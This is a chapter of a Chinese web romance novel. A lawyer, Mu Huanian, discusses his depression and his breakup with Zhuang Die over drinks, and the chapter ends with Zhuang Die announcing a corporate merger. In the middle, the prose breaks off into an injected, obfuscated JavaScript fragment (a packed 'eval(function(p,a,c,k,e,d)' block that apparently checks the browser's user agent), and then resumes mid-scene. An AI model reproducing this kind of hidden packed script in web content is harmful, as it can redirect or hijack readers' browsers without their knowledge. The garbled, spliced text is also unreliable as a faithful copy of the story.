慕华年没有立刻回他。他放下酒杯点开PDF,从上到下看不出任何问题,直到看见一个小股东——Maura,颜桥的英文名。 他再仔细看董事会名单,果然有个名字曾出现在颜桥给他发来的婚礼请柬上。 庄迭为了瞒住这些,真是费尽心思。慕华年关掉文件,一时不知该作何表情。 “老大?” 电话另那头的唐沉还等着赶末班地铁,慕华年不说话他也不敢走。 “辛苦了,你做得没问题,对方公司也没问题。” 慕华年挂了电话,给唐沉转了200块红包,备注“加班费”。 “那就是他瞒着你,”方礼只要了杯长岛冰茶,抿了一口就皱起眉,“他为什么瞒你?” “不知道,他的事我很多都不知道。” “你们彼此彼此。” 方礼笑着摇头,他可能是这世上少数还算了解慕华年的人。两人在恒远收购案时认识,或许都带着秘密,莫名其妙成了好友。 “你昨天去医院了?”方礼又问。 “嗯,从莱帮我换了药。” 方礼叹了口气,“又严重了?就因为他回来了?” “我不知道,”慕华年扯了扯嘴角,“我每天都在等他回来,可那天在楼下遇见他,我差点当场跪下。” “我离不开他。”他顿了顿,“我好不容易才离开他。” “你就没想过跟他说清楚?坦白从宽。” “不用从宽了,他知道了。” 方礼端着酒朝慕华年坐正,杯壁的水珠打湿了膝盖,他看着眼前的人又干了一杯。 “我说你今天怎么点酒了,”方礼抿了口酒,“那你们现在算什么?彻底完了?” “我们三年前就分手了。” 说这话时慕华年眼神飘忽。这是他第一次承认这件事,之前无论对谁提起,他都说庄迭只是暂时离开。 他甚至分不清是自己放不下,还是他不甘心。 就算分手也该正式一点,吵一架,红次脸,恶语相向,甚至甩个巴掌,总之不该是那句“请先添加对方好友”。 慕华年被这句话困了三年。 直到昨天,牢笼突然消失了。 “那之后合作你还去吗?” “我去和孙潇提回避。” 方礼苦笑,“我没这么好命,我是总工,避不开。” “听说了,点名要你,”慕华年笑了笑,拍拍方礼的肩膀,“还是年轻,冲动。” 这话说完,慕华年想到了庄迭的触碰,他的拥抱,公路上近乎撕咬的亲吻,还有那两个夜晚。 庄迭也还年轻。 “不过要我说,你的问题其实没那么严重。” 方礼突然开口,转身看向吧台里调酒的小伙子。 “抑郁症又不是什么绝症,怎么就成了你们俩的阻碍了?就算是绝症,你也该给人选择的机会。万一人家觉得爱情价更高呢?” “这不自私吗?挟爱自重?耽误人家一辈子?我已经错过一次了。” 慕华年看着杯中融化的冰块,仰头把它们倒进嘴里,用舌尖一点一点雕磨。 “可爱情不就是这样吗?”方礼低头看了眼脖子上的戒指,“只有疯狂到失去理智的人,才能尝到爱情的滋味,即使那是苦涩的。” “这不像你会说的话。”慕华年笑了。 “宋庭翮说的。” 那天在酒吧,谁也没有被安慰,谁也没有被规劝。两个人喝完那杯酒,各自回家,一个看了一晚上计划书,一个看了一晚上《悉达多》。 慕华年想过这一天会来,甚至在心里等待着这一天的到来。 书页一页页翻过,他又看到那句让他动摇的话。 蠢行他饯行过了,放任爱的欲望放大了他性格的卑劣,然后换来了一场失败的恋爱。 他自作自受。 接下来的半个月,宋庭翮和方礼几乎天天见面,但都在公共咖啡厅。路远舟跟了两次就放弃了,回来跟庄迭抱怨受不了那气氛。 庄迭笑着没说话,订了张回荷兰的机票,三天后离开了江城。 所有合作看似平稳推进,只是有一个人安静得反常。 Mike最初不觉得这个小团队能拿下项目,直到他无意间告诉庄逸,对方团队里也有个姓庄的。 “叫什么?” “庄迭。” 庄逸哑然失笑,“我就知道。慕华年这辈子算是栽在他手里了。” “嗯?慕?他们什么关系?” Mike眼睛一亮。慕华年在TOTT三年零负面新闻,像个无欲无求的僧人,庄逸这句话让他抓住了什么。 “现在没关系了,以前是床伴。” 又过了半个月,慕华年见到了方礼口中的宋庭翮。 “你好,TOTT法务,慕华年。” 宋庭翮轻轻碰了碰他的指尖,“SP,宋庭翮。” 方礼站在两人旁边,静静看着这暗流涌动的自我介绍。 慕华年坐下时选在了宋庭翮斜对面,故意把火力引向方礼。他能看出来这个小孩不好惹。 “今天就你一个吗?” 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕华年抬头,看见庄迭对他笑了笑,“签字前我觉得应该先告知各位。SP内部人事调整,以后由我负责与贵司对接。” “正式自我介绍一下,SP直接负责人,庄迭。” 与此同时,孙潇手机弹出一条新闻,内容与庄迭刚才说的一致。 前二十二年,庄迭躲在张宪身后,躲着庄家人,躲着不堪的过去。之后三年,他躲在路远舟身后,躲着庄家人,也躲着慕华年。 那些不堪成了他不敢再找慕华年的理由。 今天,他站在了慕华年面前,也站在了所有人面前,以庄迭的身份。 这三年里,MobileLine成立时管理人名单没有他,后续融资上市时没有他,SP项目组建时负责人名单也没有他。现在需要和慕华年签同一份合同时,庄迭觉得该回到自己的位置了。 他没必要再躲了,也躲够了。 “签名吗?” 庄迭递给慕华年一支钢笔,笑着说:“你还有半小时时间考虑。半小时后远舟会发声明,MobileLine更名为SP,两家公司合并。” “那时候价格就要翻几番了,慕总。”